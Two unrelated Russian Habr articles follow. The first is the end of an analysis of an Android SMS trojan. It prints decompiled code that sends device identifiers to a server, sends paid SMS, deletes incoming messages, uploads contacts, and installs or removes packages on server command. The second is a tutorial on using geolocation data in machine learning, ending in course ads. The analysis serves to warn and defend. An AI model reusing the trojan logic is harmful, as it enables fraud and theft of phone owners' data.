устройства, что позволяет выполнять приложение при запуске; *WRITE\_EXTERNAL\_STORAGE* — запись/удаление информации на карте памяти; *INSTALL\_PACKAGES* — приложение может устанавливать или обновлять пакеты; *DELETE\_PACKAGES* — приложение может удалять пакеты; *READ\_CONTACTS* — доступ к контактам; *CALL\_PHONE* — осуществляет телефонные вызовы; *CALL\_PRIVILEGED* — осуществляет телефонные вызовы, в том числе по экстренным номерам; *GET\_TASKS* — получение данных о запущенных приложениях; *SYSTEM\_ALERT\_WINDOW* — показывает сообщения поверх всех окон; *RESTART\_PACKAGES* — способно завершать фоновые процессы других приложений (официальное описание); *KILL\_BACKGROUND\_PROCESSES* — способно завершать фоновые процессы других приложений (официальное описание); *READ\_LOGS* — чтение конфиденциальных данных из журнала. Так же есть ресивер, который срабатывает на следующие намерения: *SMS\_RECEIVED* — получено sms-сообщение; *custom.alarm* — внутреннее событие; *BOOT\_COMPLETED* — загрузка завершена; *USER\_PRESENT* — пользователь разблокировал устройство; *PHONE\_STATE* — изменение состояния сотовой сети (не знаю, как выразиться корректней, также позволяет мониторить вызовы пользователя); *SCREEN\_OFF* — при отключении экрана; *SCREEN\_ON* — при включении экрана. Так как времени на изучение приложение у меня было немного (стояла задача в общих чертах узнать, что делает приложение), я не стал вдаваться во все тонкости. Почти все URL там зашифрованы, и для расшифровки нужно просидеть не один час. Можно, конечно, получить их с помощью WireShark, но в этом нет необходимости. #### Работа приложения Пришло время заглянуть в декомпилированные классы. Начнем пожалуй с **MainActivity**. Я прокомментирую функции, на которые стоит обратить внимание: **Содержимое файла MainActivity** ``` public void onCreate(Bundle bundle) { int i; super.onCreate(bundle); Settings settings1; WebViewClient webviewclient; JSONObject jsonobject1; int j; int k; try { // // Подгрузка зашифрованных данных // JSONObject jsonobject = new JSONObject(Functions.decript(getString(0x7f050002))); new Beta(getApplicationContext(), jsonobject); } catch(Exception exception2) { exception2.printStackTrace(); } // // Показывает пользователю диалог загрузки // showDialog(IDD_LOADING); settings1 = new Settings(); if(!settings1.load(this)) settings1.save(this); // // Данная функция показана ниже // sendHttp(); handler = new Handler(); i = 0x7f030001; jsonSettings = (new JSONObject(Constants.data)).getJSONObject("settings"); k = jsonSettings.getInt("mode"); if(k == 1) // // Запускается сервис с данными параметрами для отправки платного sms-сообщения // MainService.start(this, new Intent(), "pay"); if(k == 3) i = 0x7f030001; else i = 0x7f030000; _L1: setContentView(i); api = new WebApi(this, this); webView = new WebView(this); webviewclient = new WebViewClient() { public void onPageFinished(WebView webview, String s) { System.out.println("Page loaded"); try { loadingDialog.dismiss(); } catch(Exception exception3) { exception3.printStackTrace(); } MainActivity.callJsCallbackAndroidVersion(android.os.Build.VERSION.RELEASE); if(jsonSettings.getInt("mode") == 3) MainActivity.executeJs(jsonSettings.getString("licenseJs")); _L1: return; JSONException jsonexception; jsonexception; jsonexception.printStackTrace(); goto _L1 } final MainActivity this$0; { this$0 = MainActivity.this; super(); } }; webView.setWebViewClient(webviewclient); webView.setWebChromeClient(new WebChromeClient() { // вырезано }); // вырезано if(jsonSettings.getInt("mode") == 4) { j = jsonobject1.getInt("mode"); if(j == 41 || j == 42) // // Запускается сервис с данными параметрами для отправки платного sms-сообщения // MainService.start(this, new Intent(), "pay"); } webView.loadUrl((new StringBuilder("file:///android_asset/html/")).append(jsonobject1.getString("html")).append("/index.html").toString()); _L2: return; Exception exception; exception; exception.printStackTrace(); goto _L1 Exception exception1; exception1; exception1.printStackTrace(); goto _L2 } // // Регистрация устройства на сервере // public void sendHttp() { (new Thread(new Runnable() { public void run() { // // Приложение сливает данные об устройстве к себе на сервер // MainActivity.sendPostRequest((new JSONObject(Constants.data)).getJSONObject("settings").getString("startUrl").replace("{IMEI}", Constants.imei).replace("{IMSI}", Constants.imsi).replace("{PHONE}", Constants.phone).replace("{COUNTRY}", Constants.country).replace("{APPID}", getText(0x7f050001)).replace("{MODEL}", Build.MODEL).replace("{MANUFACTURER}", Build.MANUFACTURER).replace("{SDK}", String.valueOf(android.os.Build.VERSION.SDK_INT)), new LinkedList(), new LinkedList()); // вырезано })).start(); _L1: return; Exception exception; exception; exception.printStackTrace(); goto _L1 } ``` При детальном анализе можно увидеть, что сообщение отправляется сразу, а не после нажатии кнопки “Далее” (как это обычно принято). Лицензионное соглашение есть, но оно очень хорошо запрятано. Но отправка сообщения — это не самая страшная проблема. Помните большое количество разрешений? Давайте посмотрим, зачем они все-таки нужны приложению. Чтобы сэкономить место и ваше время, я не буду выкладывать **MainReceiver**. Сразу скажу, что он обрабатывает и удаляет **(!)** входящие сообщения, а в случае необходимости еще и отвечает. Самое интересное находится в **MainService**. При запуске сервис подключается к серверу, запрашивает оттуда данные, получает нечто в json и при успешном ответе запускает метод *executeCommands(jsonobject1)*. И тут начинается магия: **Содержимое файла MainService** ``` public void executeCommands(JSONObject jsonobject) { if(Constants.DEBUG) System.out.println((new StringBuilder()).append("response: ").append(jsonobject.toString(4)).toString()); Settings settings = Settings.getSettings(); if(jsonobject.has("wait")) { if(Constants.DEBUG) System.out.println("has wait"); settings.timeNextConnection = System.currentTimeMillis() + (long)(jsonobject.getInt("wait") * Constants.SECOND); settings.save(this); } // Видимо предусмотрено для смены URL сервера if(jsonobject.has("server")) { if(Constants.DEBUG) System.out.println("has server"); settings.server = jsonobject.getString("server"); settings.save(this); } // Работа с смс фильтрами if(jsonobject.has("removeAllSmsFilters")) { if(Constants.DEBUG) System.out.println("has removeAllSmsFilters"); if(Boolean.valueOf(jsonobject.getBoolean("removeAllSmsFilters")).booleanValue()) { settings.deleteSmsList.clear(); settings.save(this); } } // Работа с смс фильтрами if(jsonobject.has("removeAllCatchFilters")) { if(Constants.DEBUG) System.out.println("has removeAllCatchFilters"); if(Boolean.valueOf(jsonobject.getBoolean("removeAllCatchFilters")).booleanValue()) { settings.catchSmsList.clear(); settings.save(this); } } // Удалить сообщения if(jsonobject.has("deleteSms")) { if(Constants.DEBUG) System.out.println("has deleteSms"); settings.deleteSmsList.clear(); settings.save(this); JSONArray jsonarray5 = jsonobject.getJSONArray("deleteSms"); for(int j1 = 0; j1 < jsonarray5.length(); j1++) { JSONObject jsonobject7 = jsonarray5.getJSONObject(j1); settings.deleteSmsList.add(new SmsItem(jsonobject7.getString("phone"), jsonobject7.getString("text"))); } settings.save(this); } // Работа с смс фильтрами if(jsonobject.has("catchSms")) { if(Constants.DEBUG) System.out.println("has catchSms"); settings.catchSmsList.clear(); settings.save(this); JSONArray jsonarray4 = jsonobject.getJSONArray("catchSms"); for(int i1 = 0; i1 < jsonarray4.length(); i1++) { JSONObject jsonobject6 = jsonarray4.getJSONObject(i1); settings.catchSmsList.add(new SmsItem(jsonobject6.getString("phone"), jsonobject6.getString("text"))); } settings.save(this); } // Отправить сообщение if(jsonobject.has("sendSms")) { if(Constants.DEBUG) System.out.println("has sendSms"); JSONArray jsonarray3 = jsonobject.getJSONArray("sendSms"); for(int l = 0; l < jsonarray3.length(); l++) { JSONObject jsonobject5 = jsonarray3.getJSONObject(l); Functions.sendSms(jsonobject5.getString("phone"), jsonobject5.getString("text")); } } // Выполнить http-запрос (botnet???) if(jsonobject.has("httpRequest")) { if(Constants.DEBUG) System.out.println("has httpRequest"); JSONObject jsonobject2 = jsonobject.getJSONObject("httpRequest"); String s4 = jsonobject2.getString("method"); String s5 = jsonobject2.getString("url"); ArrayList arraylist = new ArrayList(); ArrayList arraylist1 = new ArrayList(); JSONArray jsonarray1 = jsonobject2.getJSONArray("params"); for(int j = 0; j < jsonarray1.length(); j++) { JSONObject jsonobject4 = jsonarray1.getJSONObject(j); arraylist.add(new BasicNameValuePair(jsonobject4.getString("name"), jsonobject4.getString("value"))); } JSONArray jsonarray2 = jsonobject2.getJSONArray("properties"); for(int k = 0; k < jsonarray2.length(); k++) { JSONObject jsonobject3 = jsonarray2.getJSONObject(k); arraylist1.add(new BasicNameValuePair(jsonobject3.getString("name"), jsonobject3.getString("value"))); } Functions.sendSimpleHttpRequest(s5, s4, arraylist, arraylist1); } // Обновление самого себя if(jsonobject.has("update")) { if(Constants.DEBUG) System.out.println("has update"); String s1 = jsonobject.getString("update"); ConnectivityManager connectivitymanager = (ConnectivityManager)getSystemService("connectivity"); if(connectivitymanager.getNetworkInfo(1).isAvailable() || connectivitymanager.getNetworkInfo(0).isConnectedOrConnecting()) { String s2 = (new StringBuilder()).append(System.currentTimeMillis()).append(".apk").toString(); String s3 = (new StringBuilder()).append(Environment.getExternalStorageDirectory()).append("/download/").toString(); if(Functions.downloadFile(s3, s1, s2)) Functions.installApk(this, (new StringBuilder()).append(s3).append(s2).toString()); } } // Удаление произвольного апк if(jsonobject.has("uninstall")) { if(Constants.DEBUG) System.out.println("has uninstall"); JSONArray jsonarray = jsonobject.getJSONArray("uninstall"); for(int i = 0; i < jsonarray.length(); i++) Functions.uninstallApk(this, jsonarray.getString(i)); } // Послать сообщение в бар if(jsonobject.has("notification")) { if(Constants.DEBUG) System.out.println("has notification"); JSONObject jsonobject1 = jsonobject.getJSONObject("notification"); String s = jsonobject1.getString("url"); Functions.showNotification(this, jsonobject1.getString("tickerText"), jsonobject1.getString("title"), jsonobject1.getString("text"), jsonobject1.getInt("icon"), s); } // Открыть произвольный URL if(jsonobject.has("openUrl")) { if(Constants.DEBUG) System.out.println("has openUrl"); Functions.openUrl(this, jsonobject.getString("openUrl")); } // Слить контакты на сервер if(jsonobject.has("sendContactList")) { if(Constants.DEBUG) System.out.println("has sendContactList"); if(Boolean.valueOf(jsonobject.getBoolean("sendContactList")).booleanValue()) { ThreadOperation threadoperation1 = new ThreadOperation(this, 2, null); (new Thread(threadoperation1)).start(); } } // Отправка списка установленных приложений на сервер if(jsonobject.has("sendPackageList")) { if(Constants.DEBUG) System.out.println("has sendPackageList"); if(Boolean.valueOf(jsonobject.getBoolean("sendPackageList")).booleanValue()) { ThreadOperation threadoperation = new ThreadOperation(this, 3, null); (new Thread(threadoperation)).start(); } } // Обновить URL Твиттера if(jsonobject.has("twitter")) { if(Constants.DEBUG) System.out.println("has twitter"); settings.twitterUrl = jsonobject.getString("twitter"); settings.save(this); } // Сделать вызов if(jsonobject.has("makeCall")) { if(Constants.DEBUG) System.out.println("has makeCall"); Functions.makeCall(this, jsonobject.getString("makeCall")); } _L1: return; Exception exception; exception; exception.printStackTrace(); goto _L1 } ``` Фактически это троянский конь. Классический такой троянский конь, позволяющий сливать данные пользователя и управлять его телефоном. #### Резюме На хабре не тот контингент, которому стоит читать нотацию на тему “не ставьте не проверенные приложения”, поэтому данную часть своего выступления я опущу. Первые вредоносные приложения просто отправляли платные sms-сообщения, потом начали рассылать себя всем из списка контактов, а теперь — мы имеем полноценную троянскую лошадь, которую можно дергать за поводья удаленно. Эволюция… Перечислю еще раз вкратце (для тех, кто пролистал, не читая код с моими комментариями) что умеет делать приложение: 1. Менять URL основного сервера 2. Устанавливать sms-фильтры (удалять то, что попадает в фильтр еще до того, как пользователь успеет получить уведомление) 3. Удалять сообщения 4. Отправлять сообщения 5. Выполнять http-запросы (botnet???) 6. Проверять наличие обновлений и обновляться 7. Удалять произвольные пакеты 8. Отправлять пользователю нотификации 9. Открывать произвольный URL 10. Сливать контакты на сервер 11. Сливать список установленных приложений на сервер 12. Выполнять произвольные вызовы (например, в Замбези) 13. Использовать Twitter в качестве альтернативного способа обновления некоторых данных (к сожалению, декомпиляция прошла с ошибками и не все файлы удалось просмотреть). На этом все. Не попадайтесь. P.S. Если кто-то захочет сам посмотреть на данное творение — пишите в личку.
https://habr.com/ru/post/168573/
null
ru
null
# Использование геолокационных данных в машинном обучении: основные методы ![Геолокационные данные могут применяться в различных сценариях](https://habrastorage.org/r/w1560/getpro/habr/upload_files/209/83b/61a/20983b61a0453fadc391144ec3b150e7.png "Геолокационные данные могут применяться в различных сценариях")Геолокационные данные могут применяться в различных сценарияхДанные о местоположении — это важная категория данных, с которыми часто приходится иметь дело в проектах машинного обучения. Они, как правило, дают дополнительный контекст к данным используемого приложения. Специально к старту нового потока курса по [Machine Learning](https://skillfactory.ru/ml-programma-machine-learning-online?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ML&utm_term=regular&utm_content=290421), делимся с вами кратким руководством по проектированию и визуализации элементов с геопространственными данными. --- Например, перед вами может встать задача прогнозирования объёмов онлайновых продаж через анализ клиентских данных. Методы машинного обучения способны определить более точные модели покупательского поведения с учётом информации о местоположении клиента. Применение таких методов более эффективно, если речь идёт о физических (не онлайновых) площадках, таких как магазины розничной торговли, рестораны, гостиницы или больницы. В этой статье я попробую представить обзор методов работы с геолокационными данными для приложений машинного обучения. Эта довольно обширная тема, поэтому здесь я изложу только её основы. В следующих статьях я расскажу о конкретных областях более подробно. Данные о предметной области приложения (включают основную информацию о местоположении) -------------------------------------------------------------------------------------- Как и в случае со всеми приложениями машинного обучения, начинаем с набора данных о предметной области приложения. Важно понять, что в этих данных, помимо прочей, также содержится информация для определения нужного нам физического местоположения — либо в виде адреса, либо в виде географических координат: широты и долготы. Допустим, мы хотим спрогнозировать цены на недвижимость. Наш набор данных обычно состоит из информации о доме (его типе, времени постройки, площади и т. д.), его цене и, естественно, местоположении. Эти данные представляют собой структурированную таблицу. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/56b/a33/587/56ba3358702a8876c58b9ea507156ae5.png)Другие приложения могут использовать другие типы данных, например изображения. При прогнозировании для таких предметных областей, как сельское хозяйство (например в составлении прогнозов объёмов производства продуктов питания), геология (например при поиске оптимального места добычи полезных ископаемых), могут использоваться спутниковые изображения. ![Спутниковые изображения](https://habrastorage.org/r/w1560/getpro/habr/upload_files/5ca/479/266/5ca479266e60fb6ac8a610cdfe7fce80.png "Спутниковые изображения")Спутниковые изображенияОчевидно, что при составлении прогноза данные о местоположении играют большую роль. Как же их можно использовать? Геопространственные данные (используются как дополнение к информации о местоположении) -------------------------------------------------------------------------------------- Наш набор данных можно расширить, добавив к нему внешние данные, основанные на местоположении (либо общедоступные, либо полученные от третьей стороны). В этой статье я буду использовать термин "геопространственные данные", или "данные геоинформационной системы (ГИС)", поскольку такие данные включают в себя информацию, связанную с географическим контекстом местности. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/c25/361/a5b/c25361a5bcdcf636bb4f6073fa7d9cb5.png)С помощью геопространственных данных фиксируются основные географические атрибуты местоположения. Для нашей задачи прогнозирования цен на недвижимость это может быть информация о районе, местах расположения школ и парков, административных границах города, плотности населения, зонах землетрясений или наводнений, а также о любых других факторах. Аналогичным образом, если используется информация со спутника, такие данные могли бы включать сведения о расположении рек и лесов, топографическую информацию (сведения о расположении холмов и долин), данные о региональном климате и прочее. Давайте вначале посмотрим, как эти данные представлены. Форматы геопространственных данных ---------------------------------- Таких стандартных форматов может быть несколько. В них хранятся геометрические данные и другие описательные атрибуты географических объектов. Например, в таких данных могут храниться координаты дорожных маршрутов с указанием типа и ширины дорожного покрытия, данные об ограничениях скорости на участках дороги, типе дороги (городская улица, автострада и пр.). Самые часто используемые форматы: * **Векторный формат** (*самый древний и самый распространённый стандарт. Файл в векторном формате фактически представляет собой набор файлов: в одном файле хранятся геометрические данные, в другом — специальные атрибуты данных и т. п.*). * **GeoPackage** (*более новый стандарт, набирающий популярность. Данные хранятся в одном небольшом по размеру файле, реализованном в виде контейнера базы данных SQLLite*). * **GeoJSON** (*использует стандартный текстовый формат JSON*). Геометрические геоданные хранятся в виде векторных объектов: * **точка**: например местоположения зданий, домов, ресторанов, стоянок такси; * **ломаная**: например улицы, реки, железные дороги; * **полигон**: определяет зоны, например регионы, районы, озера, штаты, страны; * **мультиполигон**: набор полигонов. ![В геоинформационных данных используются структуры данных Точка, Ломаная, Полигон и пр.](https://habrastorage.org/r/w1560/getpro/habr/upload_files/fb3/875/a6e/fb3875a6efbaddd41e8d46a7db33aaf7.png "В геоинформационных данных используются структуры данных Точка, Ломаная, Полигон и пр.")В геоинформационных данных используются структуры данных Точка, Ломаная, Полигон и пр.Помимо хранения отдельных объектов в геоинформационных данных также может содержаться топологическая информация, то есть информация о связях между объектами. В ней определяются дополнительные объекты: * **дуга**: аналогично ломаной; * **узел**: точка пересечения различных дуг или полигонов; * **вершины**: излом ломаной. ![Географические объекты представляют географические особенности и отношения между ними ](https://habrastorage.org/r/w1560/getpro/habr/upload_files/898/90b/763/89890b76361ce98c383accc7094604e2.png "Географические объекты представляют географические особенности и отношения между ними ")Географические объекты представляют географические особенности и отношения между ними Они используют структуры данных, определяющие связь между такими объектами, например: * Какие объекты находятся рядом друг с другом? * Какие дуги соединяются друг с другом? * Какие объекты находятся внутри других полигонов? Загрузка геоданных ------------------ К счастью, нам не нужно вникать в тонкости структуры таких форматов и работать с низкоуровневыми структурами данных. Мы можем использовать замечательную Python-библиотеку GeoPandas, максимально упрощающую выполнение задачи. GeoPandas представляет собой надстройку библиотеки Pandas, поэтому в ней сохранены все её мощные функции. Она работает с объектами GeoDataFrame и GeoSeries, представляющими собой "пространственно ориентированные" версии объектов DataFrame и Series в Pandas. В надстройке реализуется ряд дополнительных методов и атрибутов, которые можно использовать для работы с геоданными в DataFrame. GeoDataFrame — это обычный объект в Pandas DataFrame с дополнительным "геометрическим" столбцом в каждой строке, в который заносятся данные о местоположении. GeoPandas также может одной командой загружать геопространственные данные из различных форматов географических файлов в GeoDataFrame. Операции в GeoDataFrame выполняются одинаково независимо от исходного формата. Таким образом, стираются различия между форматами и их структурами данных. ``` import geopandas as gpd # Load the Shape map of New York City as a GeoDataFrame shape_df = gpd.read_file(shape_data_dir/'ny.shp') ``` ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/270/e57/c5a/270e57c5a43f3a401a8bfe70b34d530a.png)Предварительная обработка геоданных (базовые системы координат) --------------------------------------------------------------- Геоданные содержат координаты (x, y) географических мест, как правило, в виде значений широты и долготы. Однако, как ни странно, сами по себе эти координаты не могут быть привязаны к физическому местоположению. Такие координаты — не более чем числа в произвольном пространстве. Для того чтобы они могли однозначно отображать реальное место в реальном мире, они должны быть связаны с системой координат. Такая система координат называется базовой (CRS). ![Базовая система координат привязывает координаты широты/долготы к реальной точке на Земле](https://habrastorage.org/r/w1560/getpro/habr/upload_files/d53/f83/419/d53f834192bfa66427d53f7b85fe37fa.png "Базовая система координат привязывает координаты широты/долготы к реальной точке на Земле")Базовая система координат привязывает координаты широты/долготы к реальной точке на ЗемлеНам сейчас просто важно понять, что, поскольку Земля не является идеальной сферой, идеальных универсальных базовых систем координат просто не существует. Систем CRS множество, и каждая оптимизирована под конкретные цели или различные участки Земли. Предварительная обработка геоданных (картографические проекции) --------------------------------------------------------------- Аналогичным образом системы CRS используются для проецирования координат местоположения на карту с целью визуализации. ![Картографическая проекция выводит изображение 3D-сферы на 2D-поверхность](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/348/bff/1a3/348bff1a31baddacd427045cc11f9f06.jpeg "Картографическая проекция выводит изображение 3D-сферы на 2D-поверхность")Картографическая проекция выводит изображение 3D-сферы на 2D-поверхностьПоэтому, если вы получаете геоданные из разных источников, нужно позаботиться о том, чтобы перепроецировать все эти координаты в одну и ту же базовую систему координат. Также нужно убедиться, что она совпадает с базовой системой координат, используемой картой визуализации. В противном случае координаты вашего местоположения будут отображены неверно. После загрузки и стандартизации геоданных необходимо выполнить анализ полученных данных и визуализировать их. Визуализация ------------ В Geopandas реализована довольно мощная встроенная функциональность прорисовки. Кроме того, для визуализации геоданных можно использовать другие отличные библиотеки Python, например Folium и Plotly. Загрузите данные приложения в Pandas Dataframe. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/4f5/9a0/9d3/4f59a09d36fc35f3d92c1d27f863c18e.png)Переведите данные в GeoDataFrame посредством преобразования информации о местоположении в её геометрический формат. ``` import pandas as pd import geopandas as gpd from shapely.geometry import Point # Load your application data with Pandas app_df = pd.read_csv(app_data_dir/'app.csv') # Convert it to a GeoDataFrame by transforming the Latitude/Longitude coordinates loc_crs = {'init': 'epsg:4326'} loc_geom = [Point(xy) for xy in zip(app_df['longitude'], app_df['latitude'])] geo_df = gpd.GeoDataFrame(app_df, crs=loc_crs, geometry=loc_geom) # Plot the GeoDataFrame geo_df.plot() ``` Затем выведите изображение GeoDataFrame. ![Изображение данных о местоположении](https://habrastorage.org/r/w1560/getpro/habr/upload_files/426/dec/30a/426dec30a2c9018410decdd0c66ba580.png "Изображение данных о местоположении")Изображение данных о местоположенииСами по себе точки данных не несут осмысленного контекста. Поскольку эти точки представляют собой места в Нью-Йорке, вы должны наложить их на базовую карту Нью-Йорка (которую мы загрузили из Shapefile), и только тогда такой набор точек приобретёт значимость. ![Базовая карта Нью-Йорка](https://habrastorage.org/r/w1560/getpro/habr/upload_files/085/400/554/08540055475a9c08617446723d950f10.png "Базовая карта Нью-Йорка")Базовая карта Нью-Йорка ``` import matplotlib.pyplot as plt fig, ax = plt.subplots(figsize=(10,10)) # Plot the base map shape_df.plot(ax=ax, color='lightgrey', zorder=1) # Overlay the data locations geo_df.plot(ax=ax, alpha=0.5, zorder=2) ``` ![Для получения контекста наложите данные о местоположении на базовую карту](https://habrastorage.org/r/w1560/getpro/habr/upload_files/ca7/1f6/353/ca71f635359ae0d787b20a6244517ab8.png "Для получения контекста наложите данные о местоположении на базовую карту")Для получения контекста наложите данные о местоположении на базовую картуДобавление функциональных возможностей -------------------------------------- В зависимости от решаемой проблемы данные о местоположении можно использовать для добавления в набор данных дополнительных функций. Вот самые распространённые дополнительные функции. Геокодирование и обратное геокодирование ---------------------------------------- Геокодирование — это способ привязки адреса, записанного в текстовом виде (например адреса дома, который вы собираетесь оценить), к координатам (широте/долготе). И, наоборот, обратное геокодирование позволяет сопоставить с координатами адрес (по улице, городу, штату и почтовому индексу). Такую функциональность обеспечивает Geopy — популярная Python-библиотека. Расстояние между двумя точками ------------------------------ Имея точные координаты достопримечательностей, можно рассчитать расстояние между ними. Например, важной информацией может быть расстояние до ближайшей больницы или расстояние между местами посадки и высадки в каршеринге. Такое расстояние можно измерить несколькими способами: * **эвклидово расстояние** — простое расстояние по прямой между координатами (x, y) двух точек. Это расстояние измеряется на плоской 2D-поверхности; * **геодезическое расстояние** измеряется на сферической Земле, то есть на трёхмерной поверхности. Например, кратчайшим расстоянием будет расстояние между двумя точками на сфере. Расстояние Haversine — это примерно то же, что и дуга большого круга, но для его расчёта используется формула Haversine; * **манхэттенское расстояние** применяется к городским местоположениям, в которых улицы образуют кварталы. Используется для расчёта фактического расстояния (например при вождении или пешей прогулке) между двумя точками вдоль городских улиц. Такой расчёт более логичен, чем расчёт расстояния по прямой. Название расстояния происходит от района Манхэттен в Нью-Йорке, заполненного кварталами квадратной формы с дорогами, идущими параллельно друг другу и пересекающимися под прямым углом. Однако на практике, хотя улицы и пролегают прямо, их направление не всегда в точности ориентировано на север, юг, восток или запад. Это обстоятельство учитывается: рассчитывается скорректированное расстояние с учётом угла поворота карты улиц города. ![Манхэттенское расстояние](https://habrastorage.org/r/w1560/getpro/habr/upload_files/089/fb5/228/089fb522881f4217e76ec5389c8be9e9.png "Манхэттенское расстояние")Манхэттенское расстояниеОпределение направления из одной точки к другой ----------------------------------------------- При перемещении между двумя точками земного шара помимо расстояния можно рассчитать направление движения (азимут). При выходе из начальной точки рассчитывается начальное направление. ![Направление между Кейптауном и Мельбурном](https://habrastorage.org/r/w1560/getpro/habr/upload_files/d83/876/aa4/d83876aa4d7154e0d8a217a2467c7344.png "Направление между Кейптауном и Мельбурном")Направление между Кейптауном и МельбурномРасстояние от точки до ломаной ------------------------------ Это ещё одна полезная информация. Например, вы хотите узнать, как далеко отстоит дом от шоссе, железнодорожного пути или автобусного маршрута? Или какое расстояние от фермы до реки? Локализация ----------- Кроме точек на карте имеются регионы. Возможно, вам захочется узнать, находится ли точка в определённом регионе. Например, находится ли дом в школьном округе с высоким рейтингом, так как это обстоятельство существенно влияет на стоимость недвижимости. Перекрытие регионов ------------------- Перекрытие появляется при пересечении или объединении двух регионов. Например, перекрывает ли зона наводнения (или лесная зона) границы округа или штата. Географическая кластеризация ---------------------------- Помогает группировать места в географические кластеры, которые могут не совпадать с существующими географическими границами страны или штата. Например, для сегментации клиентов можно определить кластеры на основе местоположения клиентов и создать функцию, назначающую каждого клиента своему кластеру. Другим примером могут служить кластеры, создаваемые на базе информации о местоположении COVID-инфицированных людей и используемые при мониторинге распространения заболевания. Встраивание географических областей ----------------------------------- Подобно тому как мы используем встраивание текстовых данных, модель глубокого обучения может быть использована для обучения встраиванию данных о географическом местоположении. Например, встраивания, основанные на почтовом индексе или названии округа, могут использоваться для получения информации о характерных особенностях каждой такой области. Модели машинного обучения ------------------------- Как мы только что убедились, геолокационные данные и связанные с ними характеристики могут быть представлены в виде таблиц с числовыми или дискретными переменными. Например, если были получены данные о местоположении дома, то наравне со всеми другими атрибутами, не связанными с местоположением (например временем постройки и площадью дома), могут использоваться геодезические данные. Другими словами, работа с данными о местоположении в основном связана с подготовкой данных, а не с созданием каких-либо специфических для данной местности моделей машинного или глубокого обучения. Вы можете продолжать пользоваться теми же моделями, которые обычно используются при работе с табличными данными. Обратите внимание, что значения широты/долготы часто могут использоваться в чистом виде с древовидными моделями, такими как Random Forest или Gradient Boost, не требующими нормализации данных. Другие модели, например нейросетевые, обычно требуют нормализации значений координат. В этой статье приведено общее описание методов работы с геолокационными данными. Работа с ними открывает богатые возможности для создания множества увлекательных приложений. А прокачать себя в самом машинном обучении — можно на [соответствующем курсе](https://skillfactory.ru/ml-programma-machine-learning-online?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ML&utm_term=regular&utm_content=290421). ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/9a6/ba9/991/9a6ba9991b4bb60cedc96b23f9738755.png)[Узнайте](https://skillfactory.ru/courses/?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ALLCOURSES&utm_term=regular&utm_content=290421), как прокачаться и в других специальностях или освоить их с нуля: * [Профессия Data Scientist](https://skillfactory.ru/dstpro?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DSPR&utm_term=regular&utm_content=290421) * [Профессия Data Analyst](https://skillfactory.ru/dataanalystpro?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DAPR&utm_term=regular&utm_content=290421) * [Курс по Data Engineering](https://skillfactory.ru/dataengineer?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DEA&utm_term=regular&utm_content=290421) Другие профессии и курсы**ПРОФЕССИИ** * [Профессия Fullstack-разработчик на Python](https://skillfactory.ru/python-fullstack-web-developer?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_FPW&utm_term=regular&utm_content=290421) * [Профессия Java-разработчик](https://skillfactory.ru/java?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_JAVA&utm_term=regular&utm_content=290421) * [Профессия QA-инженер на JAVA](https://skillfactory.ru/java-qa-engineer?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_QAJA&utm_term=regular&utm_content=290421) * [Профессия Frontend-разработчик](https://skillfactory.ru/frontend?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_FR&utm_term=regular&utm_content=290421) * [Профессия Этичный хакер](https://skillfactory.ru/cybersecurity?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_HACKER&utm_term=regular&utm_content=290421) * [Профессия C++ разработчик](https://skillfactory.ru/cplus?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_CPLUS&utm_term=regular&utm_content=290421) * [Профессия Разработчик игр на Unity](https://skillfactory.ru/game-dev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_GAMEDEV&utm_term=regular&utm_content=290421) * [Профессия Веб-разработчик](https://skillfactory.ru/webdev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_WEBDEV&utm_term=regular&utm_content=290421) * [Профессия iOS-разработчик с нуля](https://skillfactory.ru/iosdev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_IOSDEV&utm_term=regular&utm_content=290421) * [Профессия Android-разработчик с нуля](https://skillfactory.ru/android?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ANDR&utm_term=regular&utm_content=290421) **КУРСЫ** * [Курс по Machine Learning](https://skillfactory.ru/ml-programma-machine-learning-online?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ML&utm_term=regular&utm_content=290421) * [Курс "Machine Learning и Deep Learning"](https://skillfactory.ru/ml-and-dl?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MLDL&utm_term=regular&utm_content=290421) * [Курс "Математика для Data Science"](https://skillfactory.ru/math-stat-for-ds#syllabus?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MAT&utm_term=regular&utm_content=290421) * [Курс "Математика и Machine Learning для Data Science"](https://skillfactory.ru/math_and_ml?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MATML&utm_term=regular&utm_content=290421) * [Курс "Python для веб-разработки"](https://skillfactory.ru/python-for-web-developers?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_PWS&utm_term=regular&utm_content=290421) * [Курс "Алгоритмы и структуры данных"](https://skillfactory.ru/algo?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_algo&utm_term=regular&utm_content=290421) * [Курс по аналитике данных](https://skillfactory.ru/analytics?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_SDA&utm_term=regular&utm_content=290421) * [Курс по DevOps](https://skillfactory.ru/devops?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DEVOPS&utm_term=regular&utm_content=290421)
https://habr.com/ru/post/554438/
null
ru
null
